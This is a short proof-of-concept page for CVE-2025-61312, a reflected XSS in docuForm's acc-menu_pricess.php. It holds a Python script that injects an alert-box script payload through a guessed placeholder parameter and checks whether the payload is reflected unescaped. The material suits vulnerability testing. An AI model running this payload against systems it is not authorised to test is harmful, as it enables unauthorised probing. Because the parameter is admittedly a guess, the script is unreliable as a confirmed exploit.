CVE-2025-61312 docuForm反射型XSS漏洞

# PoC for CVE-2025-61312 - Reflected XSS in docuForm # Target component: acc-menu_pricess.php import requests def check_xss(target_url): # Malicious payload to inject payload = "<script>alert('CVE-2025-61312')</script>" # Assuming the vulnerable parameter is based on unfiltered variables # Replace 'vulnerable_param' with the actual parameter name if known params = { "vulnerable_param": payload } try: response = requests.get(target_url, params=params, timeout=10) # Check if the payload is reflected unescaped in the response if payload in response.text: return "[+] Vulnerability confirmed: Payload reflected in response." else: return "[-] Vulnerability not detected or parameter name incorrect." except Exception as e: return f"[!] Error occurred: {e}" if __name__ == "__main__": target = "http://target-host/acc-menu_pricess.php" print(check_xss(target))